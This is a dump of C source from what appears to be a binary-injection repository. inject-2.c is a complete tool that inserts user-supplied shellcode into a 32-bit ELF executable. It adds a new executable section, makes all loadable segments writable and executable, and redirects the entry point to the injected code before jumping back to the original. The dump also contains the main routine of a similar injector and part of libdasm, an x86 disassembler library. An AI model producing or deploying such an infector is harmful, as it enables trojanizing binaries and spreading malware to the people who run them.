if(argc != 3) { 616 | FATAL_ERROR("Usage : %s ", argv[0]); 617 | } 618 | 619 | sc = opcodes_to_data(argv[2], &sc_length); 620 | 621 | INFO("Loading ELF in memory..."); 622 | ELF_load(&elf, argv[1]); 623 | 624 | ch_lst = CHUNKLST_new(); 625 | in_lst = INSTRLST_new(); 626 | 627 | INFO("Creating the CHUNKLST..."); 628 | CHUNKLST_parseElf(ch_lst, &elf); 629 | INFO("CHUNKS: %u, TOTAL LENGTH: %u", 630 | CHUNKLST_length(ch_lst), 631 | CHUNKLST_totLength(ch_lst)); 632 | 633 | INFO("Creating the INSTRLST..."); 634 | INSTRLST_parseCode(in_lst, ch_lst, sc, sc_length); 635 | 636 | INFO("Old entry point : 0x%.8x", elf.ehdr->e_entry); 637 | INFO("Inserting code in ELF..."); 638 | ELF_insCode(&elf, in_lst); 639 | 640 | INFO("New entry : 0x%.8x", elf.ehdr->e_entry); 641 | 642 | INFO("Inserted code INFO :"); 643 | INSTRLST_print(in_lst); 644 | 645 | INFO("Freeing all structures..."); 646 | ELF_unload(&elf); 647 | CHUNKLST_free(ch_lst); 648 | INSTRLST_free(in_lst); 649 | 650 | INFO("DONE."); 651 | 652 | return EXIT_SUCCESS; 653 | } 654 | -------------------------------------------------------------------------------- /inject-2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | #define SYSCALL_ERROR(s) do { \ 14 | fprintf(stderr, "%s:%d ", __FILE__, __LINE__); \ 15 | perror(s); \ 16 | exit(EXIT_FAILURE); \ 17 | } while(0) 18 | 19 | #define ERROR(s) do { \ 20 | fprintf(stderr, "%s:%d %s\n", __FILE__, __LINE__, s); \ 21 | exit(EXIT_FAILURE); \ 22 | } while(0) 23 | 24 | #define INFO(...) do { \ 25 | fprintf(stdout, "[+] "); \ 26 | fprintf(stdout, __VA_ARGS__); \ 27 | fprintf(stdout, "\n"); \ 28 | }while(0) 29 | 30 | #define JMP_LENGTH 5 31 | #define JMP_OPCODE 0xe9 32 | 33 | typedef struct Elf32_Sect 34 | { 35 | Elf32_Shdr shdr; 36 | uint8_t *data; 37 | }Elf32_Sect; 38 | 39 | 40 | typedef struct Elf32_File 41 | { 42 | Elf32_Ehdr *ehdr; 43 | Elf32_Phdr *phdr; 44 | Elf32_Sect *sections; 45 | 46 | }Elf32_File; 47 | 48 | 49 | /******************************************************************** 50 | * ELF checking functions 51 | *******************************************************************/ 52 | int check_magic(Elf32_File *file) 53 | { 54 | if(strncmp((char*)file->ehdr->e_ident, ELFMAG, SELFMAG)) 55 | return 0; 56 | 57 | return 1; 58 | } 59 | 60 | int check_shname(Elf32_File *file, int sh) 61 | { 62 | int shname; 63 | 64 | shname = file->ehdr->e_shstrndx; 65 | 66 | if(shname < 0 || shname >= file->ehdr->e_shnum) 67 | return 0; 68 | if(file->sections[sh].shdr.sh_name >= file->sections[shname].shdr.sh_size) 69 | return 0; 70 | 71 | return 1; 72 | } 73 | 74 | /******************************************************************** 75 | * misc ELF functions 76 | *******************************************************************/ 77 | const char* section_name(Elf32_File *file, int sh) 78 | { 79 | int shname; 80 | 81 | shname = file->ehdr->e_shstrndx; 82 | 83 | if(!check_shname(file, sh)) 84 | ERROR("Bad sh_name !"); 85 | 86 | return (char*)(file->sections[shname].data + file->sections[sh].shdr.sh_name); 87 | } 88 | 89 | int get_section_id(Elf32_File *file, const char *shname) 90 | { 91 | int sh; 92 | 93 | for(sh = 0; sh < file->ehdr->e_shnum; sh++) 94 | { 95 | if(!strcmp(shname, section_name(file, sh))) 96 | return sh; 97 | } 98 | return -1; 99 | } 100 | 101 | 102 | /******************************************************************** 103 | * Load functions 104 | *******************************************************************/ 105 | static void load_ehdr(Elf32_File *file, int fd) 106 | { 107 | uint32_t size; 108 | 109 | size = sizeof(Elf32_Ehdr); 110 | 111 | if((file->ehdr = malloc(size)) == NULL) 112 | SYSCALL_ERROR("[-] malloc "); 113 | 114 | if(read(fd, file->ehdr, size) != (int)size) 115 | ERROR("Bad ELF !"); 116 | 117 | if(!check_magic(file)) 118 | ERROR("Not an ELF file !"); 119 | } 120 | 121 | static void load_phdr(Elf32_File *file, int fd) 122 | { 123 | uint32_t size; 124 | 125 | size = sizeof(Elf32_Phdr) * file->ehdr->e_phnum; 126 | 127 | if((file->phdr = malloc(size)) == NULL) 128 | SYSCALL_ERROR("malloc "); 129 | 130 | if(lseek(fd, file->ehdr->e_phoff, SEEK_SET) < 0) 131 | SYSCALL_ERROR("lseek "); 132 | 133 | if(read(fd, file->phdr, size) != (int)size) 134 | ERROR("Bad ELF !"); 135 | } 136 | 137 | static void load_sections(Elf32_File *file, int fd) 138 | { 139 | int i; 140 | uint32_t shdr_size, size; 141 | 142 | shdr_size = sizeof(Elf32_Shdr); 143 | 144 | if((file->sections = malloc(file->ehdr->e_shnum * sizeof(Elf32_Sect))) == NULL) 145 | SYSCALL_ERROR("malloc "); 146 | 147 | for(i = 0; i < file->ehdr->e_shnum; i++) 148 | { 149 | if(lseek(fd, file->ehdr->e_shoff + i*shdr_size, SEEK_SET) < 0) 150 | SYSCALL_ERROR("lseek "); 151 | 152 | if(read(fd, &file->sections[i].shdr, shdr_size) != (int)shdr_size) 153 | ERROR("Bad ELF !"); 154 | 155 | if(file->sections[i].shdr.sh_type != SHT_NOBITS) 156 | { 157 | size = file->sections[i].shdr.sh_size; 158 | 159 | if((file->sections[i].data = malloc(size)) == NULL) 160 | SYSCALL_ERROR("malloc "); 161 | 162 | if(lseek(fd, file->sections[i].shdr.sh_offset, SEEK_SET) < 0) 163 | SYSCALL_ERROR("lseek "); 164 | 165 | if(read(fd, file->sections[i].data, size) != (int)size) 166 | ERROR("Bad ELF !"); 167 | } 168 | else 169 | { 170 | file->sections[i].data = NULL; 171 | } 172 | } 173 | } 174 | 175 | Elf32_File* load_elf32(int fd) 176 | { 177 | Elf32_File *file; 178 | 179 | if((file = malloc(sizeof(Elf32_File))) == NULL) 180 | SYSCALL_ERROR("malloc "); 181 | 182 | load_ehdr(file, fd); 183 | load_phdr(file, fd); 184 | load_sections(file, fd); 185 | 186 | return file; 187 | } 188 | 189 | /******************************************************************** 190 | * Free functions 191 | *******************************************************************/ 192 | static void free_sections_data(Elf32_File *file) 193 | { 194 | int i; 195 | 196 | for(i = 0; i < file->ehdr->e_shnum; i++) 197 | { 198 | if(file->sections[i].data != NULL) 199 | free(file->sections[i].data); 200 | } 201 | } 202 | 203 | void free_elf32(Elf32_File *file) 204 | { 205 | free_sections_data(file); 206 | free(file->ehdr); 207 | free(file->phdr); 208 | free(file->sections); 209 | free(file); 210 | } 211 | 212 | /******************************************************************** 213 | * Print (debug) functions 214 | *******************************************************************/ 215 | 216 | void print_sections(Elf32_File *file) 217 | { 218 | int i; 219 | 220 | for(i = 0; i < file->ehdr->e_shnum; i++) 221 | { 222 | printf("[+] %-20s [%d] %#x -> %#x\n", 223 | section_name(file, i), 224 | i, 225 | file->sections[i].shdr.sh_offset, 226 | file->sections[i].shdr.sh_offset + file->sections[i].shdr.sh_size); 227 | } 228 | } 229 | 230 | void print_ehdr(Elf32_File *file) 231 | { 232 | printf("[+] [EHDR] %#x -> %#x\n", 233 | 0, 234 | sizeof(Elf32_Ehdr)); 235 | 236 | printf("[+] [PHDR] %#x -> %#x\n", 237 | file->ehdr->e_phoff, 238 | file->ehdr->e_phoff + file->ehdr->e_phnum * sizeof(Elf32_Phdr)); 239 | 240 | printf("[+] [SHDR] %#x -> %#x\n", 241 | file->ehdr->e_shoff, 242 | file->ehdr->e_shoff + file->ehdr->e_shnum * sizeof(Elf32_Shdr)); 243 | printf("[+] [ENTRY] %#x\n", 244 | file->ehdr->e_entry); 245 | } 246 | 247 | /******************************************************************** 248 | * Write functions 249 | *******************************************************************/ 250 | void write_to_file(int fd, void *data, uint32_t size, uint32_t *off) 251 | { 252 | write(fd, data, size); 253 | *off += size; 254 | } 255 | 256 | void add_padding(int fd, uint32_t *start, uint32_t end) 257 | { 258 | char c = 0; 259 | 260 | while(*start < end) 261 | { 262 | write_to_file(fd, &c, 1, start); 263 | } 264 | } 265 | 266 | void write_sections(Elf32_File *file, uint32_t *offset, int fd) 267 | { 268 | int i; 269 | 270 | for(i = 0; i < file->ehdr->e_shnum; i++) 271 | { 272 | if(file->sections[i].shdr.sh_type != SHT_NOBITS) 273 | { 274 | add_padding(fd, offset, file->sections[i].shdr.sh_offset); 275 | write_to_file(fd, file->sections[i].data, file->sections[i].shdr.sh_size, offset); 276 | } 277 | } 278 | } 279 | 280 | void write_shdr(Elf32_File *file, uint32_t *offset, int fd) 281 | { 282 | int i; 283 | 284 | for(i = 0; i < file->ehdr->e_shnum; i++) 285 | { 286 | write_to_file(fd, &file->sections[i].shdr, sizeof(Elf32_Shdr), offset); 287 | } 288 | } 289 | 290 | void write_file(Elf32_File *file, int fd) 291 | { 292 | uint32_t offset; 293 | 294 | offset = 0; 295 | 296 | write_to_file(fd, file->ehdr, sizeof(Elf32_Ehdr), &offset); 297 | 298 | add_padding(fd, &offset, file->ehdr->e_phoff); 299 | write_to_file(fd, file->phdr, sizeof(Elf32_Phdr) * file->ehdr->e_phnum, &offset); 300 | 301 | write_sections(file, &offset, fd); 302 | 303 | add_padding(fd, &offset, file->ehdr->e_shoff); 304 | write_shdr(file, &offset, fd); 305 | } 306 | 307 | 308 | /******************************************************************** 309 | * ELF (re)building functions 310 | *******************************************************************/ 311 | int find_last_ptload(Elf32_File *file) 312 | { 313 | int i; 314 | 315 | for(i = 0; i < file->ehdr->e_phnum - 1; i++) 316 | { 317 | if(file->phdr[i].p_type == PT_LOAD) 318 | { 319 | if(file->phdr[i+1].p_type == PT_LOAD) 320 | { 321 | return i+1; 322 | } 323 | } 324 | } 325 | return -1; 326 | } 327 | 328 | int get_last_section(Elf32_File *file, int ph) 329 | { 330 | int i; 331 | 332 | for(i = 0; i < file->ehdr->e_shnum; i++) 333 | { 334 | if(file->sections[i].shdr.sh_addr + file->sections[i].shdr.sh_size >= file->phdr[ph].p_vaddr + file->phdr[ph].p_memsz) 335 | return i; 336 | } 337 | return -1; 338 | } 339 | 340 | int insert_section(Elf32_File *file, int sh, int ph, uint8_t *code, 341 | uint32_t length) 342 | { 343 | Elf32_Sect section; 344 | 345 | file->ehdr->e_shnum++; 346 | 347 | if((file->sections = realloc(file->sections, file->ehdr->e_shnum * sizeof(Elf32_Sect))) == NULL) 348 | SYSCALL_ERROR("realloc "); 349 | 350 | section.shdr.sh_name = 0; 351 | section.shdr.sh_type = SHT_PROGBITS; 352 | section.shdr.sh_flags = SHF_EXECINSTR | SHF_ALLOC; 353 | section.shdr.sh_offset = file->phdr[ph].p_offset + file->phdr[ph].p_memsz; 354 | section.shdr.sh_size = length + JMP_LENGTH; 355 | section.shdr.sh_link = 0; 356 | section.shdr.sh_info = 0; 357 | section.shdr.sh_addralign = 16; 358 | section.shdr.sh_entsize = 0; 359 | section.shdr.sh_addr = file->phdr[ph].p_vaddr + file->phdr[ph].p_memsz; 360 | 361 | printf("[+] New section %#.8x\n", section.shdr.sh_addr); 362 | 363 | if((section.data = malloc(length + JMP_LENGTH)) == NULL) 364 | SYSCALL_ERROR("malloc "); 365 | 366 | memcpy(section.data, code, length); 367 | memmove(file->sections + sh + 2, file->sections + sh + 1, sizeof(Elf32_Sect)* 368 | (file->ehdr->e_shnum - sh-2)); 369 | 370 | memcpy(file->sections + sh + 1, §ion, sizeof(Elf32_Sect)); 371 | 372 | return sh + 1; 373 | } 374 | 375 | void update_segment_size(Elf32_File *file, int ph, uint32_t codesize) 376 | { 377 | file->phdr[ph].p_memsz += codesize + JMP_LENGTH; 378 | file->phdr[ph].p_filesz = file->phdr[ph].p_memsz; 379 | } 380 | 381 | void update_e_entry(Elf32_File *file, int sh, uint32_t codesize) 382 | { 383 | uint32_t last_entry; 384 | int32_t jmp; 385 | uint8_t jmp_code[JMP_LENGTH]; 386 | 387 | jmp_code[0] = JMP_OPCODE; 388 | 389 | last_entry = file->ehdr->e_entry; 390 | file->ehdr->e_entry = file->sections[sh].shdr.sh_addr; 391 | 392 | jmp = last_entry - (file->ehdr->e_entry + codesize + JMP_LENGTH); 393 | 394 | memcpy(jmp_code+1, &jmp, 4); 395 | memcpy(file->sections[sh].data + codesize, jmp_code, JMP_LENGTH); 396 | } 397 | 398 | void update_sections_offset(Elf32_File *file, int sh) 399 | { 400 | int i; 401 | 402 | for(i = sh; i < file->ehdr->e_shnum-1; i++) 403 | { 404 | file->sections[i+1].shdr.sh_offset = file->sections[i].shdr.sh_offset + 405 | file->sections[i].shdr.sh_size; 406 | } 407 | 408 | if(file->ehdr->e_shstrndx > sh) 409 | file->ehdr->e_shstrndx++; 410 | } 411 | 412 | void update_shdr_offset(Elf32_File *file) 413 | { 414 | int shnum; 415 | 416 | shnum = file->ehdr->e_shnum; 417 | 418 | file->ehdr->e_shoff = file->sections[shnum-1].shdr.sh_offset + 419 | file->sections[shnum-1].shdr.sh_size; 420 | } 421 | 422 | void update_segments_perm(Elf32_File *file) 423 | { 424 | int i; 425 | 426 | for(i = 0; i < file->ehdr->e_phnum; i++) 427 | { 428 | if(file->phdr[i].p_type == PT_LOAD) 429 | { 430 | file->phdr[i].p_flags = PF_X | PF_W | PF_R; 431 | } 432 | } 433 | } 434 | 435 | void insert_code(Elf32_File *file, uint8_t *code, uint32_t length) 436 | { 437 | int sh, ph; 438 | 439 | if((ph = find_last_ptload(file)) < 0) 440 | ERROR("Can't find the segment !"); 441 | 442 | if((sh = get_last_section(file, ph)) < 0) 443 | ERROR("Can't find the section !"); 444 | 445 | sh = insert_section(file, sh, ph, code, length); 446 | update_segment_size(file, ph, length); 447 | update_segments_perm(file); 448 | update_e_entry(file, sh, length); 449 | update_sections_offset(file, sh); 450 | update_shdr_offset(file); 451 | } 452 | 453 | 454 | /* Convert 'a' -> 10 */ 455 | int hex_to_dec(int c) { 456 | if(isdigit(c)) 457 | return c - '0'; 458 | if(c >= 'a' && c <= 'f') 459 | return (c - 'a') + 10; 460 | if(c >= 'A' && c <= 'F') 461 | return (c - 'A') + 10; 462 | 463 | return -1; 464 | } 465 | 466 | /* Test if char is in range [0-9a-fA-F] */ 467 | int is_hexa_char(int c) { 468 | return (isdigit(c) 469 | || (c >= 'a' && c <= 'f') 470 | || (c >= 'A' && c <= 'F')); 471 | } 472 | 473 | /* Convert "\x0a\x2c..." to raw data */ 474 | uint8_t* opcodes_to_data(char *str, uint32_t *length) { 475 | int i; 476 | uint8_t *data; 477 | 478 | i = 0; 479 | if((data = malloc(strlen(str) + 1)) == NULL) 480 | return NULL; 481 | 482 | while(*str != '\0') { 483 | if(str[0] == '\\' && str[1] == 'x') { 484 | if(is_hexa_char(str[2]) && is_hexa_char(str[3])) { 485 | data[i] = hex_to_dec(str[2]) * 16; 486 | data[i] += hex_to_dec(str[3]); 487 | str += 3; 488 | } 489 | } else { 490 | data[i] = *str; 491 | } 492 | str++; 493 | i++; 494 | } 495 | *length = i; 496 | return data; 497 | } 498 | 499 | int main(int argc, char **argv) 500 | { 501 | uint8_t *code; 502 | uint32_t length; 503 | Elf32_File *file; 504 | int fd; 505 | 506 | if(argc != 3) 507 | { 508 | printf("Usage : %s \n", argv[0]); 509 | exit(EXIT_FAILURE); 510 | } 511 | 512 | code = opcodes_to_data(argv[2], &length); 513 | 514 | printf("[+] Loading %s in memory...\n", argv[1]); 515 | if((fd = open(argv[1], O_RDONLY)) < 0) 516 | SYSCALL_ERROR("open "); 517 | 518 | file = load_elf32(fd); 519 | 520 | close(fd); 521 | 522 | printf("[+] Inserting code...\n"); 523 | insert_code(file, code, length); 524 | 525 | printf("[+] Rewriting binary...\n"); 526 | if((fd = open(argv[1], O_WRONLY)) < 0) 527 | SYSCALL_ERROR("open "); 528 | 529 | write_file(file, fd); 530 | 531 | close(fd); 532 | 533 | print_sections(file); 534 | print_ehdr(file); 535 | printf("[+] DONE.\n"); 536 | 537 | free_elf32(file); 538 | 539 | 540 | return EXIT_SUCCESS; 541 | } 542 | -------------------------------------------------------------------------------- /lib/libdasm.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | * libdasm -- simple x86 disassembly library 4 | * (c) 2004 - 2006 jt / nologin.org 5 | * 6 | * libdasm.c: 7 | * This file contains most code of libdasm. Check out 8 | * libdasm.h for function definitions. 9 | * 10 | */ 11 | 12 | #include 13 | #include 14 | #include "libdasm.h" 15 | #include "opcode_tables.h" 16 | 17 | 18 | // Endianess conversion routines (thanks Ero) 19 | 20 | __inline__ BYTE FETCH8(BYTE *addr) { 21 | // So far byte cast seems to work on all tested platforms 22 | return *(BYTE *)addr; 23 | } 24 | 25 | __inline__ WORD FETCH16(BYTE *addr) { 26 | #if defined __X86__ 27 | // Direct cast only for x86 28 | return *(WORD *)addr; 29 | #else 30 | // Revert to memcpy 31 | WORD val; 32 | memcpy(&val, addr, 2); 33 | #if defined __LITTLE_ENDIAN__ 34 | return val; 35 | #else 36 | return ((val & 0xff00) >> 8) | 37 | ((val & 0x00ff) << 8); 38 | 39 | #endif // __LITTLE_ENDIAN__ 40 | #endif // __X86__ 41 | } 42 | 43 | __inline__ DWORD FETCH32(BYTE *addr) { 44 | #if defined __X86__ 45 | return *(DWORD *)addr; 46 | #else 47 | DWORD val; 48 | memcpy(&val, addr, 4); 49 | #if defined __LITTLE_ENDIAN__ 50 | return val; 51 | #else 52 | return ((val & (0xff000000)) >> 24) | 53 | ((val & (0x00ff0000)) >> 8) | 54 | ((val & (0x0000ff00)) << 8) | 55 | ((val & (0x000000ff)) << 24); 56 | 57 | #endif // __LITTLE_ENDIAN__ 58 | #endif // __X86__ 59 | } 60 | 61 | // Check for address/operand size override 62 | 63 | __inline__ enum Mode MODE_CHECK_ADDR(enum Mode mode, int flags) { 64 | if (((mode == MODE_32) && (MASK_PREFIX_ADDR(flags) == 0)) || 65 | ((mode == MODE_16) && (MASK_PREFIX_ADDR(flags) == 1))) 66 | return MODE_32; 67 | else 68 | return MODE_16; 69 | } 70 | __inline__ enum Mode MODE_CHECK_OPERAND(enum Mode mode, int flags) { 71 | if (((mode == MODE_32) && (MASK_PREFIX_OPERAND(flags) == 0)) || 72 | ((mode == MODE_16) && (MASK_PREFIX_OPERAND(flags) == 1))) 73 | return MODE_32; 74 | else 75 | return MODE_16; 76 | } 77 | 78 | 79 | // Parse 2 and 3-byte opcodes 80 | 81 | int get_real_instruction2(BYTE *addr, int *flags) { 82 | switch (*addr) { 83 | 84 | // opcode extensions for 2-byte opcodes 85 | case 0x00: 86 | // Clear extension 87 | *flags &= 0xffffff00; 88 | *flags |= EXT_G6; 89 | break; 90 | case 0x01: 91 | *flags &= 0xffffff00; 92 | *flags |= EXT_G7; 93 | break; 94 | case 0x71: 95 | *flags &= 0xffffff00; 96 | *flags |= EXT_GC; 97 | break; 98 | case 0x72: 99 | *flags &= 0xffffff00; 100 | *flags |= EXT_GD; 101 | break; 102 | case 0x73: 103 | *flags &= 0xffffff00; 104 | *flags |= EXT_GE; 105 | break; 106 | case 0xae: 107 | *flags &= 0xffffff00; 108 | *flags |= EXT_GF; 109 | break; 110 | case 0xba: 111 | *flags &= 0xffffff00; 112 | *flags |= EXT_G8; 113 | break; 114 | case 0xc7: 115 | *flags &= 0xffffff00; 116 | *flags |= EXT_G9; 117 | break; 118 | default: 119 | break; 120 | } 121 | return 0; 122 | } 123 | 124 | // Parse instruction flags, get opcode index 125 | 126 | int get_real_instruction(BYTE *addr, int *index, int *flags) { 127 | switch (*addr) { 128 | 129 | // 2-byte opcode 130 | case 0x0f: 131 | *index += 1; 132 | *flags |= EXT_T2; 133 | break; 134 | 135 | // Prefix group 2 136 | case 0x2e: 137 | *index += 1; 138 | // Clear previous flags from same group (undefined effect) 139 | *flags &= 0xff00ffff; 140 | *flags |= PREFIX_CS_OVERRIDE; 141 | get_real_instruction(addr + 1, index, flags); 142 | break; 143 | case 0x36: 144 | *index += 1; 145 | *flags &= 0xff00ffff; 146 | *flags |= PREFIX_SS_OVERRIDE; 147 | get_real_instruction(addr + 1, index, flags); 148 | break; 149 | case 0x3e: 150 | *index += 1; 151 | *flags &= 0xff00ffff; 152 | *flags |= PREFIX_DS_OVERRIDE; 153 | get_real_instruction(addr + 1, index, flags); 154 | break; 155 | case 0x26: 156 | *index += 1; 157 | *flags &= 0xff00ffff; 158 | *flags |= PREFIX_ES_OVERRIDE; 159 | get_real_instruction(addr + 1, index, flags); 160 | break; 161 | case 0x64: 162 | *index += 1; 163 | *flags &= 0xff00ffff; 164 | *flags |= PREFIX_FS_OVERRIDE; 165 | get_real_instruction(addr + 1, index, flags); 166 | break; 167 | case 0x65: 168 | *index += 1; 169 | *flags &= 0xff00ffff; 170 | *flags |= PREFIX_GS_OVERRIDE; 171 | get_real_instruction(addr + 1, index, flags); 172 | break; 173 | // Prefix group 3 or 3-byte opcode 174 | case 0x66: 175 | // Do not clear flags from the same group!!!! 176 | *index += 1; 177 | *flags |= PREFIX_OPERAND_SIZE_OVERRIDE; 178 | get_real_instruction(addr + 1, index, flags); 179 | break; 180 | // Prefix group 4 181 | case 0x67: 182 | // Do not clear flags from the same group!!!! 183 | *index += 1; 184 | *flags |= PREFIX_ADDR_SIZE_OVERRIDE; 185 | get_real_instruction(addr + 1, index, flags); 186 | break; 187 | 188 | // Extension group 1 189 | case 0x80: 190 | *flags |= EXT_G1_1; 191 | break; 192 | case 0x81: 193 | *flags |= EXT_G1_2; 194 | break; 195 | case 0x82: 196 | *flags |= EXT_G1_1; 197 | break; 198 | case 0x83: 199 | *flags |= EXT_G1_3; 200 | break; 201 | 202 | // Extension group 2 203 | case 0xc0: 204 | *flags |= EXT_G2_1; 205 | break; 206 | case 0xc1: 207 | *flags |= EXT_G2_2; 208 | break; 209 | case 0xd0: 210 | *flags |= EXT_G2_3; 211 | break; 212 | case 0xd1: 213 | *flags |= EXT_G2_4; 214 | break; 215 | case 0xd2: 216 | *flags |= EXT_G2_5; 217 | break; 218 | case 0xd3: 219 | *flags |= EXT_G2_6; 220 | break; 221 | 222 | // Escape to co-processor 223 | case 0xd8: 224 | case 0xd9: 225 | case 0xda: 226 | case 0xdb: 227 | case 0xdc: 228 | case 0xdd: 229 | case 0xde: 230 | case 0xdf: 231 | *index += 1; 232 | *flags |= EXT_CP; 233 | break; 234 | 235 | // Prefix group 1 or 3-byte opcode 236 | case 0xf0: 237 | *index += 1; 238 | *flags &= 0x00ffffff; 239 | *flags |= PREFIX_LOCK; 240 | get_real_instruction(addr + 1, index, flags); 241 | break; 242 | case 0xf2: 243 | *index += 1; 244 | *flags &= 0x00ffffff; 245 | *flags |= PREFIX_REPNE; 246 | get_real_instruction(addr + 1, index, flags); 247 | break; 248 | case 0xf3: 249 | *index += 1; 250 | *flags &= 0x00ffffff; 251 | *flags |= PREFIX_REP; 252 | get_real_instruction(addr + 1, index, flags); 253 | break; 254 | 255 | // Extension group 3 256 | case 0xf6: 257 | *flags |= EXT_G3_1; 258 | break; 259 | case 0xf7: 260 | *flags |= EXT_G3_2; 261 | break; 262 | 263 | // Extension group 4 264 | case 0xfe: 265 | *flags |= EXT_G4; 266 | break; 267 | 268 | // Extension group 5 269 | case 0xff: 270 | *flags |= EXT_G5; 271 | break; 272 | default: 273 | break; 274 | } 275 | return 0; 276 | } 277 | 278 | // Parse operand and fill OPERAND structure 279 | 280 | /* 281 | * This function is quite complex.. I'm not perfectly happy 282 | * with the logic yet. Anyway, the idea is to 283 | * 284 | * - check out modrm and sib 285 | * - based on modrm/sib and addressing method (AM_X), 286 | * figure out the operand members and fill the struct 287 | * 288 | */ 289 | int get_operand(PINST inst, int oflags, PINSTRUCTION instruction, 290 | POPERAND op, BYTE *data, int offset, enum Mode mode, int iflags) { 291 | BYTE *addr = data + offset; 292 | int index = 0, sib = 0, scale = 0; 293 | int reg = REG_NOP; 294 | int basereg = REG_NOP; 295 | int indexreg = REG_NOP; 296 | int dispbytes = 0; 297 | enum Mode pmode; 298 | 299 | // Is this valid operand? 300 | if (oflags == FLAGS_NONE) { 301 | op->type = OPERAND_TYPE_NONE; 302 | return 1; 303 | } 304 | // Copy flags 305 | op->flags = oflags; 306 | 307 | // Set operand registers 308 | op->reg = REG_NOP; 309 | op->basereg = REG_NOP; 310 | op->indexreg = REG_NOP; 311 | 312 | // Offsets 313 | op->dispoffset = 0; 314 | op->immoffset = 0; 315 | 316 | // Parse modrm and sib 317 | if (inst->modrm) { 318 | pmode = MODE_CHECK_ADDR(mode, iflags); 319 | 320 | // Update length only once! 321 | if (!instruction->length) { 322 | instruction->modrm = *addr; 323 | instruction->length += 1; 324 | } 325 | // Register 326 | reg = MASK_MODRM_REG(*addr); 327 | 328 | // Displacement bytes 329 | // SIB can also specify additional displacement, see below 330 | if (MASK_MODRM_MOD(*addr) == 0) { 331 | if ((pmode == MODE_32) && (MASK_MODRM_RM(*addr) == REG_EBP)) 332 | dispbytes = 4; 333 | if ((pmode == MODE_16) && (MASK_MODRM_RM(*addr) == REG_ESI)) 334 | dispbytes = 2; 335 | } else if (MASK_MODRM_MOD(*addr) == 1) { 336 | dispbytes = 1; 337 | 338 | } else if (MASK_MODRM_MOD(*addr) == 2) { 339 | dispbytes = (pmode == MODE_32) ? 4 : 2; 340 | } 341 | // Base and index registers 342 | 343 | // 32-bit mode 344 | if (pmode == MODE_32) { 345 | if ((MASK_MODRM_RM(*addr) == REG_ESP) && 346 | (MASK_MODRM_MOD(*addr) != 3)) { 347 | sib = 1; 348 | instruction->sib = *(addr + 1); 349 | 350 | // Update length only once! 351 | if (instruction->length == 1) { 352 | instruction->sib = *(addr + 1); 353 | instruction->length += 1; 354 | } 355 | basereg = MASK_SIB_BASE( *(addr + 1)); 356 | indexreg = MASK_SIB_INDEX(*(addr + 1)); 357 | scale = MASK_SIB_SCALE(*(addr + 1)) * 2; 358 | // Fix scale *8 359 | if (scale == 6) 360 | scale += 2; 361 | 362 | // Special case where base=ebp and MOD = 0 363 | if ((basereg == REG_EBP) && !MASK_MODRM_MOD(*addr)) { 364 | basereg = REG_NOP; 365 | dispbytes = 4; 366 | } 367 | if (indexreg == REG_ESP) 368 | indexreg = REG_NOP; 369 | } else { 370 | if (!MASK_MODRM_MOD(*addr) && (MASK_MODRM_RM(*addr) == REG_EBP)) 371 | basereg = REG_NOP; 372 | else 373 | basereg = MASK_MODRM_RM(*addr); 374 | } 375 | // 16-bit 376 | } else { 377 | switch (MASK_MODRM_RM(*addr)) { 378 | case 0: 379 | basereg = REG_EBX; 380 | indexreg = REG_ESI; 381 | break; 382 | case 1: 383 | basereg = REG_EBX; 384 | indexreg = REG_EDI; 385 | break; 386 | case 2: 387 | basereg = REG_EBP; 388 | indexreg = REG_ESI; 389 | break; 390 | case 3: 391 | basereg = REG_EBP; 392 | indexreg = REG_EDI; 393 | break; 394 | case 4: 395 | basereg = REG_ESI; 396 | indexreg = REG_NOP; 397 | break; 398 | case 5: 399 | basereg = REG_EDI; 400 | indexreg = REG_NOP; 401 | break; 402 | case 6: 403 | if (!MASK_MODRM_MOD(*addr)) 404 | basereg = REG_NOP; 405 | else 406 | basereg = REG_EBP; 407 | indexreg = REG_NOP; 408 | break; 409 | case 7: 410 | basereg = REG_EBX; 411 | indexreg = REG_NOP; 412 | break; 413 | } 414 | if (MASK_MODRM_MOD(*addr) == 3) { 415 | basereg = MASK_MODRM_RM(*addr); 416 | indexreg = REG_NOP; 417 | } 418 | } 419 | } 420 | 421 | // Operand addressing method -specific parsing 422 | switch (MASK_AM(oflags)) { 423 | 424 | // Register encoded in instruction 425 | case AM_REG: 426 | op->type = OPERAND_TYPE_REGISTER; 427 | op->reg = MASK_REG(oflags); 428 | break; 429 | 430 | // Register indirect encoded in instruction 431 | case AM_IND: 432 | op->type = OPERAND_TYPE_MEMORY; 433 | op->basereg = MASK_REG(oflags); 434 | break; 435 | 436 | // Register/memory encoded in MODRM 437 | case AM_M: 438 | if (MASK_MODRM_MOD(*addr) == 3) 439 | return 0; 440 | goto skip_rest; 441 | case AM_R: 442 | if (MASK_MODRM_MOD(*addr) != 3) 443 | return 0; 444 | skip_rest: 445 | case AM_Q: 446 | case AM_W: 447 | case AM_E: 448 | op->type = OPERAND_TYPE_MEMORY; 449 | op->dispbytes = dispbytes; 450 | instruction->dispbytes = dispbytes; 451 | op->basereg = basereg; 452 | op->indexreg = indexreg; 453 | op->scale = scale; 454 | 455 | index = (sib) ? 1 : 0; 456 | if (dispbytes) 457 | op->dispoffset = index + 1 + offset; 458 | switch (dispbytes) { 459 | case 0: 460 | break; 461 | case 1: 462 | op->displacement = FETCH8(addr + 1 + index); 463 | // Always sign-extend 464 | if (op->displacement >= 0x80) 465 | op->displacement |= 0xffffff00; 466 | break; 467 | case 2: 468 | op->displacement = FETCH16(addr + 1 + index); 469 | break; 470 | case 4: 471 | op->displacement = FETCH32(addr + 1 + index); 472 | break; 473 | } 474 | 475 | // MODRM defines register 476 | if ((basereg != REG_NOP) && (MASK_MODRM_MOD(*addr) == 3)) { 477 | op->type = OPERAND_TYPE_REGISTER; 478 | op->reg = basereg; 479 | } 480 | break; 481 | 482 | // Immediate byte 1 encoded in instruction 483 | case AM_I1: 484 | op->type = OPERAND_TYPE_IMMEDIATE; 485 | op->immbytes = 1; 486 | op->immediate = 1; 487 | break; 488 | // Immediate value 489 | case AM_J: 490 | op->type = OPERAND_TYPE_IMMEDIATE; 491 | // Always sign-extend 492 | oflags |= F_s; 493 | case AM_I: 494 | op->type = OPERAND_TYPE_IMMEDIATE; 495 | index = (inst->modrm) ? 1 : 0; 496 | index += (sib) ? 1 : 0; 497 | index += instruction->immbytes; 498 | index += instruction->dispbytes; 499 | 